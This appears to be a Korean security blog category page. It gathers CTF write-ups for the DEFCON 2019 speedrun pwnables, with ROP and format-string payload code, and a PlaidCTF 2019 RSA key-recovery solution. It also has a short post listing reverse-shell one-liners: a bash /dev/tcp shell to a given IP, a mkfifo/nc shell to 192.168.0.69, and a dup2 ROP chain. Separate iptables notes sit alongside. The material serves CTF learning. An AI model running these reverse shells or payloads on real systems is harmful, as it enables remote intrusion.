분류 전체보기

Cloud9 사용

2019. 5. 21. 18:34

[C언어 교육] 5주차

2019. 5. 14. 16:27

[DEFCON 2019 Quals] speedrun

2019. 5. 14. 16:10

Speedrun Exploit code - github

speedrun-001

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  1. stage 1. Write "/bin/sh\x00" in the bss area`
  2. stage 2. execve("/bin/sh", NULL, NULL);`
  3. get shell

SROP 문제입니다. "/bin/sh"를 read를 이용해 bss영역에 쓰고 execve를 syscall하여 shell을 획득합니다.

attack_speedrun001.py


speedrun-002

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

이번엔 ROP입니다. puts를 이용해서 puts나 read의 함수주소를 leak하고, onegadget을 이용하여 바로 exploit해줬습니다.

attack_speedrun002.py


speedrun-004

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

speedrun001과 비슷합니다. srop를 사용합니다. 257바이트까지 입력할 수있는데 1바이트 오버플로우가 나서 rbp의 하위 1바이트를 덮을 수 있습니다. fake ebp -> ret sled -> srop 순서로 공격하면됩니다. rbp의 하위 1바이트를 \x00으로 하고 ret가젯을 충분히 넣어두면 알아서 srop에 해당하는 부분(shellcode)으로 갈 것입니다.

attack_speedrun004.py


speedrun-005

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

#포맷스트링버그 #FSB

너무 멍청하게 풀어서 대회 당시에 4시간이나 삽질을 한 문제이다. printf(&buf)에서 FSB가 터지는데, printf로 출력할 때 \x00을 만나면 거기까지만 출력해준다. 그런데 여기서 멍청하게 생각을 못한게 어짜피 read로 읽어서 스택에는 데이터가 들어간다는것을 잊고있었다.(아오) 

그래서 그냥 스택에 got를 적당한것 puts GOT를 넣고 다시 FSB를 읽으켜서 GOT를 원샷으로 덮어주면 간단하다. 이걸 못맞추다니;;; 근데 끝나고 풀어보려고하니까 데프콘서버쪽에 바이너리가 바뀌어서 익스가 안됨 ㅡㅡ; 서버쪽에는 puts GOT가 0x601020이던데, 뭔일인지...

참고로 FSB payload는 pwntool의 fmtstr_payload를 쓰면 빠르게 할 수 있다. 물론 이 함수가 조금 멍청해서 target_address를 payload앞에 집어넣어서 64bit환경일 경우 printf에서 \x00으로 진작에 끊겨버리므로 아래와 같은 트릭을 써서 따로 계산해주는게 낫다.

# make fsb payload
context.clear(arch = 'amd64')
fsb_payload = fmtstr_payload(30, writes={print_got:0x40069D}, numbwritten=(-64+24), write_size='byte')

# this function create stupid string. start payload null(\x00)
# null(\x00) is string end, printf is end. so addresses need to go to the payload end
# so,  numbwritten=(-64+24) is alreay payload(24) + got_address(-8*8=-64)
fsb_payload = fsb_payload[64:]			

# leak _IO_stdfile_1_lock
# stage 1. puts GOT overwrite FSB vuln function
payload = "%122$16lx" 		# start offset 6
payload += "A"*8
payload += fsb_payload
payload += ((8*24)-len(payload))*"A"	# padding 30-6 offset (target_offset - strat_offset)
payload += p64(print_got)
payload += p64(print_got + 1)
payload += p64(print_got + 2)
payload += p64(print_got + 3)
payload += p64(print_got + 4)
payload += p64(print_got + 5)
payload += p64(print_got + 6)
payload += p64(print_got + 6)
payload += p64(print_got + 7)

대략 설명하면 30오프셋부터 print_got가 나온다고보고 numbwritten은 기존 페이로드에 먼저쓰인 16+8바이트에 쓸모없는 64를 뺀 값을 넣고, byte단위의 FSB payload이므로 8개의 address를 맨뒤에 넣어준다. 중간에 중요한 fsb다음에는 30오프셋까지 패딩해주면된다.

attack_speedrun005.py


speedrun-007

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

OOB라고 해야할까. 암튼 Relative write가 가능하다. 0x638을 오프셋으로하면 main함수의 ret(__libc_start_main+231)를 덮어쓸 수 있는데, 이것을 onegadget으로 덮으면 main에서 리턴하면 쉘이 따진다.

물론 확률이 낮다. libc_base + 0x4f322이므로 뒤 6자리만 잘 맞추면 쉘이 따지는데, 여기서 뒤 3자리는 알고 있으니 나머지 16진수 3자리를 맞춰주면 된다. 즉 경우의 수는 0x000~0xFFF로 4096개이다.

그런데, leak도 한번 제대로 못해봣는데... 이렇게 대충 one_gadget으로 맞추는 문제로 괜찮은건가? 게다가 speedrun이라고 문제를 내놓고 확률에 맡기는 문제라니 ... 좋은 문제는 아니지만 이렇게 풀수도있다는 것을 보여주는 문제인 것같다.

attack_speedrun007.py



speedrun-008

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

그냥 실행하면 아무것도 안뜬다. 그래서 시작하자마자 엄청 답답한 문제였는데... 사실 무한루프를 도는 것이다;

그리고 문제를 잘 읽었어야했다. speedrun001을 보면 아래와 같이 적혀잇다.

For all speedrun challenges, flag is in /flag

그리고 이 문제를 strace로 돌려보면

myria@ubuntu:~/CTF/DEFCON2019/speedrun008$ strace ./speedrun-008
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
...
...

망할 뭔가 계속 read 실패로 무한루프를 돈다. 그리고 서버에 접속해보면 프로그램이 정상적으로 실행되는 것을 알 수 있는데... 이게 로컬에서 안돌아가는 이유가 /flag가 없어서이다...

어우야ㅠ..

그리고 IDA에서 발견한 또 한가지...

.init_array:00000000006B6138 ; Segment type: Pure data
.init_array:00000000006B6138 ; Segment permissions: Read/Write
.init_array:00000000006B6138 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000006B6138 _init_array     segment para public 'DATA' use64
.init_array:00000000006B6138                 assume cs:_init_array
.init_array:00000000006B6138                 ;org 6B6138h
.init_array:00000000006B6138 off_6B6138      dq offset sub_400B20    ; DATA XREF: .text:0000000000401A22↑o
.init_array:00000000006B6138                                         ; .text:0000000000401A2B↑o ...
.init_array:00000000006B6140                 dq offset init_canary
.init_array:00000000006B6148                 dq offset sub_4005A0
.init_array:00000000006B6148 _init_array     ends

.init_array에 sub_400B4D가 등록되있는데, 임의로 이름은 init_canary로 변경하였다. 이런 문제 예전에도 보았다. canary 우회방법중 하나로 Canary 루틴 노출이 유출되었을때가 있었는데... 멍청하게 또 잊어버림 ㅡㅡ;

예전에 풀었던 Canary 루틴 노출문제

어쨋든 다시 여기 문제로 돌아와서, canary를 무엇으로 설정하냐고 하면 /flag파일을 읽어서 이를 기반으로 canary를 생성한다. 물론 역연산하는것은 어렵다. 하지만 flag가 변할 일은 없으니 canary값은 항상 같다.

그럼 bruteforcing으로 canary를 구하고 그 후에는 rop를 할 뿐인 문제다.


attack_speedrun008.py




speedrun-009

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

모든 보호기법이 다 걸려있습니다. 하지만 그 만큼 문제 자체도 취약점이 많습니다. 문제를 실행하면 1, 2, 3의 선택지가 주어지는데. 1번은 BOF가 발생하고 2번은 FSB가 일어납니다.

FSB를 이용해 CanaryLibc AddressPIE address를 leak할 수 있고, 이제 BOF를 이용해서 onegadget을 사용하면 쉽습니다.

attack_speedrun009.py



speedrun-010

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

마찬가지로 모든 보호기법이 다 걸려있습니다. 이번 문제의 취약점은 UAF입니다. name와 msg가 모두 0x30으로 malloc되고, 값이 리셋되거나 초기화되지않기때문에 puts로 puts를 leak할 수 있고, puts자리에 system함수를 넣어서 /bin/sh를 실행시킬 수도 있다.

attack_speedrun010.py

'Write-up > Pwnable' 카테고리의 다른 글

[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21

System Call Table x86 x64

2019. 5. 11. 12:25

[C언어 교육] 4주차

2019. 5. 8. 19:00

그냥 안되서 임시포트들을 쓰기로 했다. 이것들 쓰니까 잘되넹 ㅎㅎ


8000 ~ 8002 나 8080 ~ 8083 같은것들을 쓰면 된다. 아주 편하다!


8000

8001

8002

8080

8081

8082

8083

9090


또는 호스트에서 2개 nc로 열어서 입력과 출력을 담당하게 해서, 공격서버의 /bin/sh와 연결해서 쓰기

nc localhost 8080|/bin/sh|nc localhost 9090


아니면 아래와 같이도 사용가능하다.

공격자 : nc -lvp 8080

희생자 : bash -i>& /dev/tcp/공격자아이피/포트 0>&1

bash -i>& /dev/tcp/168.188.123.187/8080 0>&1


* nc에서 e 옵션 없이 reverse shell 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f


그 외에도 ROP나 Shellcode 사용이 가능하다면 dup2를 이용해서 fd를 복사해사용할 수 있다.

보통 소켓으로 돌아가는 프로그램에서 사용하는 fd때문에 system함수로 /bin/sh를 실행하여 쉘을 따도 리모트서버에서만 쉘이 따지는데

dup2를 이용해서 사용자 fd를 stdin과 stdout으로 리다이렉트 시켜주면된다.


ROP나 SHELLCODE를 다음과 같이 사용할 수 있도록해주면 된다.

dup2(fd, 1) - dup2(fd, 0) - system("/bin/sh")


#Stage 1 - dup2(fd ,1)  # copy fd
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(dup2)
#Stage 1 - dup2(fd ,0)    
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(dup2)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)




[Ubuntu] 서버포트열기

2019. 4. 29. 14:06

1. 열려있는 모든 포트 표시


netstat - nap



2. 특정포트 외부에서 접속할 수 있도록 열기

방화벽 규칙 1번으로 외부에서 들어오는(INBOUND) TCP포트 8534의 연결을 받아들인다는 규칙 ㅜ가


iptables -I INPUT 1 -p tcp --dport 8534 -j ACCEPT


-I (대문자 I) : 새로운 규칙을 추가한다.

-p : 패킷의 프로토콜을 명시한다.

-j : 규칙에 해당되는 패킷을 어떻게 처리할지를 정한다.



3. 추가한 설정 조회

iptables -L -v


-L : 규칙을 출력

-v : 자세히



4. 추가한 설정 삭제

(1) 추가한 규칙의 번호로 삭제하는 방법

iptables -D INPUT 1



(2) 추가한 규칙으로 삭제

iptables -I INPUT 1 -p tcp --dport 8534 -j ACCEPT


-D : 해당 규칙을 삭제

'ETC' 카테고리의 다른 글

IDA 단축키  (0) 2019.11.09
python3 pyjail  (0) 2019.07.08
스테가노그래피 툴  (0) 2019.04.05
TOOL  (0) 2018.08.03
strace 사용법  (0) 2018.06.10

[PlaidCTF 2019] R u SAd?

2019. 4. 18. 20:26

Description

Tears dripped from my face as I stood over the bathroom sink. Exposed again! The tears melted into thoughts, and an idea formed in my head. This will surely keep my secrets safe, once and for all. I crept back to my computer and began to type.


문제에서 RSA 파이썬 스크립트와 함께 암호화된 flag.enc파일과 공개키 key.sad.pub가 주어진다. key.sad.pub는 python의 pickle모듈을 통해 dump된 Key클래스 파일이다.

먼저 키 생성이 어떻게되는 것인지를 살펴보면 아래와 같습니다.


def genkey(bits):
	assert bits % 2 == 0
	while True:
		p = genprime(bits // 2)
		q = genprime(bits // 2)
		e = 65537
		d, _, g = egcd(e, (p-1) * (q-1))
		if g != 1: continue
		iQmP, iPmQ, _ = egcd(q, p)
		return Key(
			N=p*q, P=p, Q=q, E=e, D=d%((p-1)*(q-1)), DmP1=d%(p-1), DmQ1=d%(q-1),
			iQmP=iQmP%p, iPmQ=iPmQ%q, bits=bits,
		)


여기서 key.sad.pub은 N, iQmP, iPmQ, bits만이 남아있고, 나머지는 다 제거된 상태입니다.


iQmP, iPmQ, _ = egcd(q, p)


iQmP = a, iPmQ = b라고 나타내면 Bézout's identity에 의해서 a*q+b*p=1이 성립합니다.


aq + bp = 1



거기에 iQmP=iQmP%p, iPmQ=iPmQ%q으로 되기 때문에 이 iQmP = A, iPmQ = B라고 다시하면 아래와 같이 나타낼 수 있습니다.


A = a + px \\ B = b + qy

이제 여기서 A*q + B*p를 계산해봅시다.


Aq + Bp = (a+px)q + (b+qy)p \\ = aq + bp + pq(x+y)


여기서 aq+bp=1이고 n=pq이므로 다시 정리하면 아래와 같습니다.


Aq+Bp = N(x+y)+1


그런데 이때 우리는 A와 B가 p와 q에 의해 나머지연산된 것이라는 것을 압니다. 그러므로


(0 < A < p, 0<B<q, N=pq)
이고 결국 아래와 같습니다.


0 < Aq+Bp = N(x+y)+1 < 2N

Aq+Bp = N+1


이제 양옆에 p를 곱하게되면 아래와 같이 정리됩니다.


Apq+Bpp = pN+p \\ AN+Bp^2 = pN+p

Bp^2-p(N+1)+AN = 0


이제 우리가 잘아는 근의 공식을 사용하면 p를 구할 수 있습니다.


\frac{(N+1) \pm \sqrt{(N+1)^2-4BAN}}{2B}



BAN = ((N+1)**2) - 4*B*A*N
BAN, _ = gmpy.root(D, 2)

T = ((N+1)-(BAN))//(2*B)
P = T
Q = N/P
print(N==P*Q)
print("p : " + str(P))
print("q : " + str(Q))
myria@ctf:~/CTF/PlaidCTF/rusad$ python get_pq.py
p : 31659077809885706699482361830477717572837081779677626435829903374921581240849180063108552019274021826092781287218568613206006085334956822705610578514426596962412655157776833178744403034727698399320215892200440936975683502329350531806920697009386909154114556681774784614085691096050135180228131842452179315216957730905902673882170120973148157907231188547167482558383495097819905373068326760590890291412820411304614611983343203819383860434964843931325658872603238498210722446318497674396725811567139923114789843056157733621133155720503541819498078610854651245426825738313809229403279974283490718799392611854934535622307
q : 25004672227855409995386175663336188685177638541286666056441830847618100808198668167307814236224429885295241140194633625051478252429462828073782848889819460674774292004752724556602147320684206242726073358822655212944688523823150236245522627662371134165404316388528738697090763677910441487876514668914442018764569771021916503649822836288868439220382922721194436569302106969570041514638164319835688101248578648742016186666021527781591528560611986692317045407081396778512783312692838307769559661780971287324753785154074832628454871505400166651610503632212720604214996108967812794633118832616768643612648168060802523582631

이제 주어진 rusad.py를 이용해 key파일을 만들어준 후, decrypt하면됩니다.


myria@ctf:~/CTF/PlaidCTF/rusad$ python3 rusad.py decrypt -i flag.enc -o flag -k attack.priv

PCTF{Rub_your_hands_palm_to_palm_vigorously_for_at_least_20_seconds_to_remove_any_private_information}

+ Recent posts